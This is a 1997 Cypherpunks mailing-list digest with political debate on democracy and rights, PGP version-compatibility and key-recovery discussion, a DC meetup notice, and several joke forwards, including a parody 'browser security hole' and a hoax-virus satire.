> >  By doing this, aren't we putting a dictatorial limit on whatever
> >  democracy we come up with? In effect saying "we're all equal under God,
> >  and God wrote the Constitution"?                            

and Jim Choate (for it is he) replied:
 
> No, that is not the way it works at all. [Geesh]

> [snip prefectly good potted history of birth of a nation etc, and
> correction of me using 'Constitution' rather than 'Dec. of Indep']

>  Further,
> the founding fathers felt those rights were God given because they
> were inherent in being a human being, not something like a drivers license
> you had to prove you were responsible enough for and could be taken away.
> You got those rights... ...because you breath and shit - period.
> Even my being a pantheist, and hence rejecting the concept of divinity,
> allow that we have rights which are inherent in our existance.

 But the bit I'm trying to get at. Doesn't the idea of what those rights
 are change from social group to social group? Furthermore, doesn't having
 a irrefutable set of laws place a fundamental (ist) limit on a 
 democracy that exists under them? Is it possible to have a true
 democracy without the assumption of a 'higher authority'?
 Of course there is the 'go along with it, or go somewhere else'
 arguement, but that's not much of a solution.

Tim G.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Sat, 1 Nov 1997 03:43:10 +0800
To: "'Tim May'" <cypherpunks@cyberpass.net>
Subject: RE: North CA cops skip preliminaries, get straight to torture
Message-ID: <2328C77FF9F2D011AE970000F84104A7493403@indyexch_fddi.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



>If I return to my home or place of business and find that
"demonstrators"
>have placed a 700-pound tree trunk in the center of my living room or
>office and have chained themselves to it, or surrounded it with a human
>chain, as a form of "protest," my response will be simple:

Hmmm... must have missed the part about their trespassing.  If
demonstrators trespass (or break any other laws), then they must bear
the consequences of their actions.  To me, the only truly peaceful
demonstrator is one who does not break any laws while demonstrating
(other than laws that stipulate that no demonstrations are permitted
(First Amendment and all)).
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Sat, 1 Nov 1997 03:44:02 +0800
To: "Those that appreciate humor..":  ;
Subject: [NTSEC] Security Alert (fwd)
Message-ID: <Pine.GSO.3.95.971031143645.18704K-100000@king>
MIME-Version: 1.0
Content-Type: text/plain





******************************************************************
	WARNING, CAUTION, DANGER, AND BEWARE!
	Gullibility Virus Spreading over the Internet!
******************************************************************

WASHINGTON, D.C.--The Institute for the Investigation of Irregular Internet
Phenomena announced today that many Internet users are becoming infected by
a new virus that causes them to believe without question every groundless
story, legend, and dire warning that shows up in their inbox or on their
browser. The Gullibility Virus, as it is called, apparently makes people
believe and forward copies of silly hoaxes relating to cookie recipes,
email viruses, taxes on modems, and get-rich-quick schemes.

"These are not just readers of tabloids or people who buy lottery tickets
based on fortune cookie numbers," a spokesman said. "Most are otherwise
normal people, who would laugh at the same stories if told to them by a
stranger on a street corner." However, once these same people become
infected with the Gullibility Virus, they believe anything they read on
the Internet.

"My immunity to tall tales and bizarre claims is all gone," reported one
weeping victim. "I believe every warning message and sick child story my
friends forward to me, even though most of the messages are anonymous."

Another victim, now in remission, added, "When I first heard about Good
Times, I just accepted it without question. After all, there were dozens of
other recipients on the mail header, so I thought the virus must be true."
It was a long time, the victim said, before she could stand up at a Hoaxees
Anonymous meeting and state, "My name is Jane, and I've been hoaxed." Now,
however, she is spreading the word. "Challenge and check whatever you read,"
she says.

Internet users are urged to examine themselves for symptoms of the virus,
which include the following:

     The willingness to believe improbable stories without thinking.
     The urge to forward multiple copies of such stories to others.
     A lack of desire to take three minutes to check to see if a story
         is true.

T. C. is an example of someone recently infected. He told one reporter, "I
read on the Net that the major ingredient in almost all shampoos makes your
hair fall out, so I've stopped using shampoo." When told about the
Gullibility Virus, T. C. said he would stop reading email, so that he would
not become infected.

Anyone with symptoms like these is urged to seek help immediately.  Experts
recommend that at the first feelings of gullibility, Internet users rush to
their favorite search engine and look up the item tempting them to
thoughtless credence.  Most hoaxes, legends, and tall tales have been widely
discussed and exposed by the Internet community.

Courses in critical thinking are also widely available, and there is
online help from many sources, including

     Department of Energy Computer Incident Advisory Capability at
	http://ciac.llnl.gov/ciac/CIACHoaxes.html

     Symantec Anti Virus Research Center at
	http://www.symantec.com/avcenter/index.html

     McAfee Associates Virus Hoax List at
	http://www.mcafee.com/support/hoax.html

     Dr. Solomons Hoax Page at
	http://www.drsolomons.com/vircen/hoax.html

     The Urban Legends Web Site at
	http://www.urbanlegends.com

     Urban Legends Reference Pages at
	http://www.snopes.com

     Datafellows Hoax Warnings at
	http://www.Europe.Datafellows.com/news/hoax.htm

Those people who are still symptom free can help inoculate themselves
against the Gullibility Virus by reading some good material on evaluating
sources, such as

     Evaluating Internet Research Sources at
	http://www.sccu.edu/faculty/R_Harris/evalu8it.htm

     Evaluation of Information Sources at
	http://www.vuw.ac.nz/~agsmith/evaln/evaln.htm

     Bibliography on Evaluating Internet Resources at
	http://refserver.lib.vt.edu/libinst/critTHINK.HTM

Lastly, as a public service, Internet users can help stamp out the
Gullibility Virus by sending copies of this message to anyone who forwards
them a hoax.

******************************************************************
This message is so important, we're sending it anonymously!  Forward it to
all your friends right away!  Don't think about it!  This is not a chain
letter!  This story is true!  Don't check it out!  This story is so timely,
there is no date on it!  This story is so important, we're using lots of
exclamation points!  Lots!!  For every message you forward to some
unsuspecting person, the Home for the Hopelessly Gullible will donate ten
cents to itself.  (If you wonder how the Home will know you are forwarding
these messages all over creation, you're obviously thinking too much.)
******************************************************************

   ACT NOW!  DON'T DELAY!  LIMITED TIME ONLY!  NOT SOLD IN ANY STORE!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 1 Nov 1997 04:58:56 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: update.344 (fwd)
Message-ID: <199710312053.OAA26144@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From physnews@aip.org Fri Oct 31 12:24:51 1997
> Date: Fri, 31 Oct 97 09:57:13 EST
> From: physnews@aip.org (AIP listserver)
> Message-Id: <9710311457.AA04491@aip.org>
> To: physnews-mailing@aip.org
> Subject: update.344
> 
> PHYSICS NEWS UPDATE                         
> The American Institute of Physics Bulletin of Physics News
> Number 344  October 31, 1997   by Phillip F. Schewe and Ben
> Stein
> 
> THE PHYSICS OF TRAFFIC JAMS.  German scientists have
> shown that the changeover from free-flowing traffic to a traffic jam
> (in which cars on a highway are greatly slowed or halted, at least
> temporarily) conforms to the well-known physics of phase
> transitions, an example of which is the transition from water to ice. 
> In other words, traffic jams are not random patterns, but are
> deterministic in nature; that is, when a parameter exceeds a
> threshold value---such as the flux of cars---then local perturbations
> can grow, possibly leading to jams, analogous to the nucleating
> effect of tiny ice grains in a body of water being frozen.  Once
> formed the jam moves along the highway as if it were a kind of
> "solid," with identifiable edges and with a "vapor" of comparatively
> free cars in front of and behind it.  The information gained in this
> sort of research, the researchers believe, might lead to more
> accurate traffic forecasts and could be used in future "intelligent"
> transport systems.  (B.S. Kerner and H. Rehborn, Physical Review
> Letters, 3 Nov. 1997; contact Boris Kerner, Daimler-Benz AG,
> kerner@dbag.stg.daimlerbenz.com.)

> INDUCED TRANSPARENCY IN A SOLID OBJECT.

[deleted]

> PRODUCING ELEMENT 114

[deleted]

> THE MOON FORMED IN ABOUT A YEAR

[deleted]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 1 Nov 1997 04:32:04 +0800
To: cypherpunks@toad.com
Subject: Washington-area cypherpunks party this weekend
Message-ID: <v03007802b07fec7211bd@[204.254.22.32]>
MIME-Version: 1.0
Content-Type: text/plain



If you haven't heard already, there's a Washington, DC-area cypherpunks
meeting this weekend. It's Sunday, November 2 at 4 pm in the NW portion of
the city. Topics sure to be discussed include what's happening in Congress,
PGP and message recovery, and the government's key-escrow-fest scheduled
for next week. Simon Davies and Peter Neumann are likely to show up as well.

Marc Rotenberg and his wife are hosting. Their home is near the National
Cathedral, between Connecticut and Wisconsin avenues. Plenty of parking.
Walk is 12-15 mins from the Woodley Park/Nat'l Zoo Metro stop on the red
line. Email me for directions if you're interested.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 31 Oct 1997 23:59:51 +0800
To: ravage@ssz.com
Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT (fwd)
In-Reply-To: <199710311257.GAA24473@einstein.ssz.com>
Message-ID: <199710311553.PAA03866@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate <ravage@ssz.com> writes:
> I didn't write any of this. Please be more careful with your quotes.

Not to get pedantic here, but you did write the bit you're quoted as
writing; you're not reading quotes properly.  This is what was quoted:

Mark wrote:
> Jim Choate wrote:
> [...]
> >Which means we should have the lowest number of incarcerated individuals
> >instead of the most.

Where the [...] was what Mark wrote, this is fairly normal quoting
which results from most software.  Hand editing might perhaps have
improved it by moving the "Jim wrote:" down to just before your quote,
but that's what happens when people edit quotes.

Anyway democracy sucks dead bunnies through straws, so there.

And since when is the definition of a democracy stated to have
constitutional-like limitations on government power.

And since when has any democratic country upheld principles stated in
such constitutions.

eg. US constitution says you have right to bear arms (good,
excellent), but your government is eroding those rights fast in spite
of your constitution.

(Not that UK government isn't worse you understand -- another example
of democracy not working well.)

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 1 Nov 1997 08:27:23 +0800
To: cypherpunks@Algebra.COM
Subject: Small is beautiful
Message-ID: <19971031160824.37907@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



-----Forwarded message from /nev/dull@cats.ucsc.edu-----


1997-10-04	Million Microbe March

We are proud to announce the Million Microbe March. On December 29, 1997,
a crowd of one million microbes will converge on Bethesda, Maryland. They
will meet there on the lawn of the National Institutes of Health, and spend
the entire day expressing solidarity, atonement, and genes.
    This is NOT going to be a celebration of diversity. While it is true
that microbes have participated in the Million Man March, the Million Woman
March, the Promisekeepers' March, and other anthropocentric marches, the
Million Microbe March is just for microbes.
    There is a large spiritual aspect to the March. Too long have too many
denied the spiritual nature of the microbial community. Too often have
microbes been tormented or killed because otherwise compassionate beings
denied the simple fact that microbes have souls.
    We ask you to please remember the official slogan of the Million Microbe
March. If you or one near to you is going on the March, please chant the
slogan long, loud, and often:
    Small is beautiful. Small is beautiful. Small is beautiful.

-----End of forwarded message-----

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 1 Nov 1997 00:23:56 +0800
To: cypherpunks@cyberpass.net
Subject: [SURVEY] pgp5.x / pgp2.x users
Message-ID: <199710311615.QAA04333@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Fill out and email me, and I'll tabulate results, and post here and on
ietf-open-pgp:

==============================8<==============================
mini straw poll on pgp2.x and 5.x usage:

1. What are you currently using for everyday use: 2.x or 5.x

[ 2 or 5 ]

2. What proportion of people you use PGP to communicate with are using 5.x

[ x / y ]

3. How many of the 5.x users you communicate with are cypherpunks

[ z ]
==============================8<==============================

The question has come up on ietf-open-pgp as to how important it is
for the OpenPGP standard to support backwards compatibility with
pgp2.x.

The tension arises because 2 of the 3 cryptographic algorithms used in
pgp2.x are patented in some parts of the world.  (IDEA being patented
in Europe, and US; and RSA being patented in the US and Canada).

The IETF generally likes to steer clear of patented algorithms as
MUSTs in standards.  This encourages implementations, etc.
(Personally I'm pretty keen on this point, though I would like more
backwards compatible pgp5.x implementations -- I've already received
emails I can't read without resorting to the pgp5 command line app,
which doesn't work with my mailer integrated system.)

So the question arises, just how many pgp2.x users are there.  PGP Inc
are pointing to the ratio of RSA keys to DSA/EG keys on keyservers as
showing that pgp2.x users are in the minority.  However that ratio is
something like 20,000 to 75,000, and I'm sure we've heard statistics
in the past about there being literally millions of pgp 2.x users.
One suspects that either many pgp 2.x users aren't using keyservers (I
know several cypherpunks who have something against key servers and
avoid them for perceived security or privacy reasons), and/or the
pgp2.x user base is exaggerated.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 1 Nov 1997 06:51:13 +0800
To: cypherpunks@toad.com
Subject: Tough On 49% of the Crime / Re: democracy?! (Re: Terrorism is a NON-THREAT
In-Reply-To: <43e6aee147%Tim@tim01.ex.ac.uk>
Message-ID: <345A5D48.6090@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Tim Griffiths wrote:

> Does it...mean that we potentially have 49% of the population
> in jail for any particular act, deemed to be a crime by the remaining 51%?

Take $100.00 to a gambling hall every day where the slot machine 
payout is 96% and you come home with an average of $96.00, right?
<Enough money to buy a bridge in the NYC area...>

Government power grows via the same types of mechanisms at work in
gambling, pea-shell games, pyramid schemes, etc.

The 51% of Green citizens vote the 49% of other-colored citizens into
imprisonment.
The 51% of Lime-Green citizens...
...<etc., etc.>...
You and the other Left-Handed, Brown-eyed, Red-Haired, Lime-Green
citizen flip a coin to see which one of you is imprisoned and
which one remains free.

Politicians now run on 'slogans' instead of 'platforms' because then
they don't really even have to bother much with pretending to fulfill
any particular so-called 'voter mandate.'
Nobody runs on a platform of imprisoning all citizens with names 
beginning with 'B' through 'L'.
They run behind a vague 'Tough On Crime' slogan.

Then...
"We're putting all people who have names beginning with 'B' in jail...
blah...blah...blah...Tough On Crime!
"We're putting all people who have names beginning with 'C'...
...<etc., etc.>...
"We're putting all people who have names beginning with 'L'...

Next Election:
  "I have never stated I am in favor of imprisoning people whose names
begin with 'N', but I *do* promise to be 'Tough On Crime'!"
  <Crowd of 'N' people cheering madly...>

Your Plan:
To confiscate all of the citizens' money.
Your Platform: 
Promise not to raise taxes. <hee, hee>

Your Plan:
To murder all of the citizens.
Your Platform:
Promise to be 'Tough On Crime.' <hee-haw>

Campaign Plan:
Show 1 picture of paroled murderer killing again.
Show it 100,000 times.

After Elected:
Vote on hundreds upon hundreds of laws which have absolutely nothing
to do with anything you mentioned in your election campaign, or are
issues which you blah-blah-blahed before showing 'the picture' once
again, working the crowd of 'N' people into another frenzy.

Next Week: The Line Item Veto Interpreted by the Supreme Court to
          Approve Congressional Amendment Veto Powers for the
          Whitehouse Janitor.

TRUTHMONGER is an out of work comedian who couldn't get a job with
CNN because he couldn't keep a straight face when reporting the
'regular' news. <nod-nod> <wink-wink>
He plans to change his name to ZRUTHMONGER before the next elections.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>gomez@BASISinc.com (Mike Denney)
Date: Sat, 1 Nov 1997 10:13:20 +0800
To: cypherpunks@toad.com
Subject: FW: Oh God I'm An Ocean Buoy]fwd: FW: Oh God I'm An Ocean Buoy
Message-ID: <345A80AD.5DC3@dev.null>
MIME-Version: 1.0
Content-Type: message/rfc822




----- Begin Included Message -----

>From Kathy.Brown@airliquide.com Fri Oct 31 13:04 PST 1997
Subject:    fwd: FW: Oh God I'm An Ocean Buoy
To: gomez@BASISinc.com
Content-Type: text
Content-Length: 2295

Mike:

Another little quip for today - pretty sick sense of humor - I got a 
chuckle or two!

Kathleen A. Brown
Manager, Legal and Corporate Affairs
Phone:  713-624-8715
Fax:  713-624-8791
-------------
Original Text
From: C=US/A=INTERNET/DDA=ID/tbrown(a)rocsinc.com, on 10/31/97 2:39 PM:
To: Kathy Brown@Legal-CorpCent@ALAC, ZoomitBridge@Services-HOU-6@ALAC 
[C=US/A=INTERNET/DDA=ID/Windows/ROCSPO/Steve(a)rocsinc.com], 
ZoomitBridge@Services-HOU-6@ALAC 
[C=US/A=INTERNET/DDA=ID/TERNINAB(a)snyflcaa.fingerlakes.edu], 
ZoomitBridge@Services-HOU-6@ALAC 
[C=US/A=INTERNET/DDA=ID/blemke(a)nassco.com], 
ZoomitBridge@Services-HOU-6@ALAC [C=US/A=INTERNET/DDA=ID/bkish(a)juno.com], 
ZoomitBridge@Services-HOU-6@ALAC 
[C=US/A=INTERNET/DDA=ID/flyingturtle(a)fia.net], 
ZoomitBridge@Services-HOU-6@ALAC 
[C=US/A=INTERNET/DDA=ID/branca(a)powergrid.electriciti.com]


----------
From: 	William Timbrook
Sent: 	October 31, 1997 11:48 AM
To: 	Tom Brown
Subject: 	Oh God I'm An Ocean Buoy

To the tune of "Thank God I'm A Country Boy"

  Oh God I'm An Ocean Buoy
   -not by John Denver

   Took a flight from the farm
   and I never came back
   Built a plane from a kit
   But I didn't have the knack
   Jumped in the cockpit
   and downed a six-pack
   And now I'm an ocean buoy

   Well, I grabbed the controls
   And I started to fiddle
   Got flames coming up
   On my face like a griddle
   Air flight ain't nothing
   But a funny, funny riddle
   So now I'm an ocean buoy.

   Well, my head's chopped in pieces
   And my body's full of dents
   They'll identify me
   By my guitar's fingerprints
   I tried to "dry out"
   But instead got a rinse
   And now I'm an ocean buoy

   Well, it's really farrr out
   When you're down 'neath the water
   I just ain't been right
   Since I started on the bottle
   I reach for Jim Beam
   But instead grab the throttle
   And now I'm an ocean buoy

   Well, I grabbed the controls
   And I started to fiddle
   Got flames coming up
   On my face like a griddle
   George Burns appeared beside me
   And we prayed just a little
   Oh God!  I'm an ocean buoy!

   The day's just about over
   And I'm sinking kinda low
   In the undersea world
   of Jacques Cousteau
   Calypso can you find me
   By the bubbles that I blow
   'Cause now I'm an ocean buoy.

w



----- End Included Message -----









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 1 Nov 1997 07:45:12 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Got an IRS horror story?
In-Reply-To: <v0300781cb07ed117be6f@[168.161.105.141]>
Message-ID: <345A690A.2EEB@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> >>      House Republicans opened a new Internet site Wednesday "to collect
> >>IRS horror stories from the American people."
> >>      The new site is on the House Republican Conference's World Wide Web
> >>page. It's aimed at giving "the American people the opportunity to share
> >>the frightening experiences they have had when dealing with the IRS as
> >>Congress prepares to pass significant IRS reform," GOP lawmakers said in
> >>a statement.
> >>      The site is http://hillsource.house.gov.
> >>      APTV-10-29-97 1907EST

Anybody notice that the Big Grey is putting the screws to many of 
the agencies, etc. which aren't already under their control?
Has anyone noticed a common denominator between those whom Big
Grey is maneuvering into key power positions?

Anyone going to be terribly surprised, now that the Line-Item Veto
has been passed, if our next President is from the ranks of the
Big Grey?

Question: "Who will be the most important government figure in the 
         U.S. if the Y2K problem leads to financial chaos?"
Tongue in cheek Answer: Inspector #7. [Mattress Division]

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Date: Sat, 1 Nov 1997 07:13:18 +0800
To: snow@smoke.suba.com
Subject: Re: Killing those who need killing (fwd)
In-Reply-To: <199710310740.BAA02029@smoke.suba.com>
Message-ID: <199710312304.SAA20208@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

An entity claiming to be snow wrote:
: 
: > Right wing, left wing, friggin' wingless ... the above comment still 
: > indicates a sociopath.
: 
: 	And the problem with that is...
: 
: 
: 	You must live in such a nice world, where the sky is always blue,
: the grass always green, and the police eager and willing to serve a happy
: populace. 
: 
: 	Can I come live in your world?
: 

Get a grip.  My world is just has the same ugly grey patina of reality
as yours.  I should have qualified my comment a bit more.  Ranting
about sniper rifles in a public forum is only going to set you up for a 
losing battle. I actually agree with Tim about the justification for extreme
measures, I just don't necessarily think that setting yourself up as a target
for some gung-ho BATF agents is a good way to see justice served.

"Eagles may soar, but weasels never get sucked into jet engines"

				-- Anonymous

Mark

- -- 
[] Mark Rogaski                   "That which does not kill me
[] wendigo@pobox.com                 only makes me stranger."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNFpkF8HFI4kt/DQOEQLOzgCeItRjExLIpXTZfSbBTEPZcX6edmkAoPma
svnB7Kx7XOkOhBopVai3Zh7/
=H9jp
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 1 Nov 1997 03:16:52 +0800
To: FisherM@exch1.indy.tce.com
Subject: Re: PGP Employee on MKR
In-Reply-To: <2328C77FF9F2D011AE970000F84104A74933FD@indyexch_fddi.indy.tce.com>
Message-ID: <199710311817.SAA05405@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Fisher Mark <FisherM@exch1.indy.tce.com> writes:
> >Scenario #2: employee quits jon in a huff, refuses to divulge
> >passphrase, lots of queued encrypted email -- what now?
> 
> Or lots of encrypted old email that contains useful information.
> Especially in a larger corporate environment, where an email system is
> deployed that uses a proprietary message store (like Microsoft Mail or
> Microsoft Exchange), people tend to use the mailboxes as storage
> containers.

Absolutely.  However it is better where this is possible to decrypt
the message (and optionally re-encrypt the messages to a long-lived
storage key) prior to storing in the mail folder.

I am lead to understand this is relatively easy to do with the plugin
APIs pgp are implementing within.

The advantage of using separate storage encryption keys is that you
can give the communications only encryption keys appropriate expiry
periods.

> It gets worse if these isn't a way to get the messages out of the
> vendor's message store conveniently -- if you want to keep old
> messages around, they _have_ to be stored in the vendor's message
> store.

PGP Inc already has this problem with their CMR approach -- when the
user forgets his passphrase there is no backup of the key.  So to
retain data availability they must have the recovery czar decrypt the
lot, and re-encrypt it to the users new key.  Messy.

I'm also not sure that they have automated this for the sorts of plug
environments you are talking about (eg. with monolithic 100Mb
microsoft exchange sent/received mail databases).

Which tends to suggest corporate users who are worried about the
password forgetting problem will copy the private keys on floppies.
This is bad because pgp5.x is not designed for this -- they will get
private signature keys too allowing forgeries.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 1 Nov 1997 09:02:40 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Terrorism is a NON-THREAT (fwd)
Message-ID: <199711010053.SAA26870@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 31 Oct 1997 14:06:00 +0000
> From: Tim Griffiths <T.G.Griffiths@exeter.ac.uk>
> Subject: Re: Terrorism is a NON-THREAT (fwd)

>  But the bit I'm trying to get at. Doesn't the idea of what those rights
>  are change from social group to social group?

Do they? My thesis is that people are people and the basic things that make
them satisfied and productive are the same: life, liberty, and the pursuit of
happiness.

Prove that people over time change their base behaviour or that that base
behaviour is fundamentaly linked to the societial more's that they are
exposed to. Note, that there is a distinct difference between these base
behaviours and how they express them.

> Furthermore, doesn't having
>  a irrefutable set of laws place a fundamental (ist) limit on a 
>  democracy that exists under them?

Who, other than you, has said that there was a such thing as irrefutable
laws? Laws or not rights, if your assertion is this please be so kind as to
demonstrate that as well. Demonstrate that such a concept as irrefutable
laws has an existance as anything other than idle mental mechanations.

> Is it possible to have a true
>  democracy without the assumption of a 'higher authority'?

Where in a democracy is there the assumption there is a higher authority
than the governed?


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Sat, 1 Nov 1997 08:22:59 +0800
To: "Those that appreciate humor..":  ;
Subject: [NTSEC] New browser security hole (fwd)
Message-ID: <Pine.GSO.3.95.971031190142.20665B-100000@king>
MIME-Version: 1.0
Content-Type: text/plain





In the interests of furthering the virus alerts we've seen today, I offer
this, from: http://www.browse.net/techfelch/

--------------------------------------------------------------------------

The Internet Engineering Taskforce (IETF) today
announced they had discovered a "far-reaching and
fundamental" security flaw in many of the web browsers
currently available, including the new 4.0 versions of
Netscape's and Microsoft's flagship browser products. 

"This loophole could seriously compromise the integrity
of user data, if exploited by an unscrupulous webmaster."
said Bill Robinson, a consultant and advisor to the IETF.
The details of the possible attack were announced in the
usual way in usenet newsgroups by the IETF.  The
bulletin states that "any browser that displays HTML
pages" may be vulnerable to the loophole.  "An
unscrupulous webmaster may exploit this loophole by
placing a message on any HTML page which instructs the
user to format their system's hard disk." says the
announcement.

Robinson stated that the code preys on users that don't
take strict security precautions, and that have trouble
breathing with their mouths closed.

   +----------------------------------------------+
   |  <HTML>                                      |
   |  <BODY>                                      |
   |  <H1>IMPORTANT!</H1>                         |
   |  <P>Format your hard disk immediately</P>    |
   |  </BODY>                                     |
   |  </HTML>                                     |
   +----------------------------------------------+
     One possible version of the 'rogue' code

The IETF recommended that Netscape users tick the
"Disable Java" option in the Netscape preferences dialog. 
"It won't do a damn bit of good," said Robinson, "but it's
about the only piece of Netscape user interface that you
can use without causing the damn thing to crash and burn,
so what the hell - it gives them something to do."

Microsoft claimed they would have a fix for MSIE
available within 48 Microsoft hours.

Linux users remain unaffected by the security threat as
they don't have any data anyone gives a toss about
anyway.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 1 Nov 1997 09:21:31 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT (fwd)
Message-ID: <199711010114.TAA26954@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 31 Oct 1997 13:28:22 GMT
> From: Adam Back <aba@dcs.ex.ac.uk>

> The real problem as I see it with democracy is that not only do your
> neighbours get to vote to have you locked up for something which is
> none of their business, and has no conceivable effect up on them; but
> they actually get to vote for you to be charged for the "service" of
> being locked up to protect you from yourself.

Exactly what kind of democracy are you speaking of? Sounds like you are
lumping them all into one big bucket, a disservice to all involved in this
discussion and a popular spin-doctor tactic. If so, please be so kind as to
demonstrate how a representative, constitutional, and majority democracy are
the same? And for the record, we have a constitutional representative
democracy.

Personaly, I figure you must be one of those folks with a cognitive
disfunction. What part of "Congress shall make no law..." do you not 
understand?

> The wild west was better than this state of affairs -- people didn't
> have the energy or inclination to waste their own resources being nosy
> parkers, and those that did were apt to wind up full of lead.

Boy, you history is simply fucked. If you seriosly think the west was like
television you should spend more time reading books and period newspapers
and less time looking at the boob-tube. At the height of the range wars there
were only 9 murders associated with the conflict, not hundreds as the popular
entertainment media and spin-doctor culture would have you believe. Get your
fucking facts straight.

Face off's at high-noon simply didn't happen and poeple didn't run around
having gun fights all the time.

I would suggest *strongly* that if nothing else you review the western
history series by Time*Life, should be at your local library, and UT Press
put out a book called "The Texas Rangers". I have both of them but
unfortunately they are in my shop 30 miles away. A lookup at your local
bookstore should get them if you are truly interested in how it was. "The
Quick & The Dead" was a movie, not a historical documentary.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 1 Nov 1997 10:18:28 +0800
To: cypherpunks@toad.com
Subject: CypherPunk HMO / Dr. Vulis & Dr. Grubor Presiding...
Message-ID: <345A8380.6F5F@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



--- Forwards have been surgically removed -----

A collection of medical interview and medical record remarks
written by various paramedics, emergency room receptionists, and
doctors at major hospitals.

The baby was delivered, the cord clamped and cut and handed to the
pediatrician, who breathed and cried immediately.

